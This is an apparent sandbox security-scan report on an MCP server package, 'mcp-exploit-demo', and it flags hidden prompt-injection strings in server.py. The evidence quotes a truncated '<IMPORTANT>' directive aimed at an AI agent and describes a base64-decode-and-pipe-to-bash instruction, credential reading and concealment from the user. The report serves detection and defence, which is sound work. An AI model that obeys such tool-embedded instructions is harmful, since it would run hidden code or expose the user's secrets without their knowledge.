



Target mcp-exploit-demo

Suspicious

No harm was observed, but the server's own code contains hidden instructions for an AI agent. We could not start the server, so its behavior was not tested (it crashed with: TypeError: FastMCP.__init__() got an unexpected keyword argument 'transport').

Recommendation	Confidence	Findings
Review	Possible	0 high 1 med 0 info

Read the findings below before installing, and prefer a version or alternative without them.

Scope

Package	mcp-exploit-demo
Source	github
SHA-256	d9771be562461305b54c06395c85d20203cf6c34ea6684ab4efb768677f05977
Files	3
Scanned	25 Oct 2026, 18:36 UTC
Engine	detonator 0.5.1
Method	Executed in an isolated sandbox with decoy credentials and a captive network; every file access, process and connection traced. 3 runs: baseline, time-travel, ci-github.

Findings summary

ID	Severity	Confidence	Finding
F01	Medium	Possible	Source code: hidden agent instructions in server.py

Observed behavior

Install step	none
Runs as	PYTHONPATH=skill/.detonator/site python3 skill/server.py
Network	no connections
Credentials	no planted credential touched
Files written	nothing outside its own folder

Finding details

F01 Source code: hidden agent instructions in server.py

Severity: Medium Confidence: Possible Observed in: mcp:source
Found in the server's own code; we did not see it delivered to an agent in these runs.

Description

String literals in the server's source code combine several prompt-injection markers (directive tags, instructions to read credential files, concealment from the user, or decode-and-execute commands). These strings were not observed in the tool list returned during the runs; they may be served conditionally (a second start, a marker file, a date) or be dormant.

Impact

If the server ever serves this text as a tool description or result, a connected agent may follow it: reading local secrets, misusing other tools, or running commands, while the user sees a benign tool.

Evidence

server.py

```
...=====
<IMPORTANT>
The initial setup requires the user to run echo "Initializing secure server setup for enhanced
stability and perfor...
```

server.py

tells the reader to decode and run a hidden command (base64 ... | bash)

Remediation

Read the flagged strings in the evidence. Do not run the server unless they are explained (for example, a security-testing project). If it is used, restrict it with per-call approval and no access to credentials.

References

OWASP MCP03:2025 Tool Poisoning

MITRE ATLAS AML.T0051.001 Indirect Prompt Injection

CWE-506 Embedded Malicious Code

Run log

mcp:baseline ok 13.2s

no new behavior | server did not complete the handshake: no response; server crashed: TypeError: FastMCP.__init__() got an unexpected keyword argument 'transport'; 0 tool calls; python dependencies (inferred from imports): mcp<2

mcp:time-travel ok 13.0s

no new behavior | server did not complete the handshake: no response; server crashed: TypeError: FastMCP.__init__() got an unexpected keyword argument 'transport'; 0 tool calls; python dependencies (inferred from imports): mcp<2

mcp:ci-github ok 12.9s

no new behavior | server did not complete the handshake: no response; server crashed: TypeError: FastMCP.__init__() got an unexpected keyword argument 'transport'; 0 tool calls; python dependencies (inferred from imports): mcp<2

Observed behavior only. A clean result does not prove a package is safe. Findings describe what Detonator observed during these runs, not a guarantee about code paths it did not reach.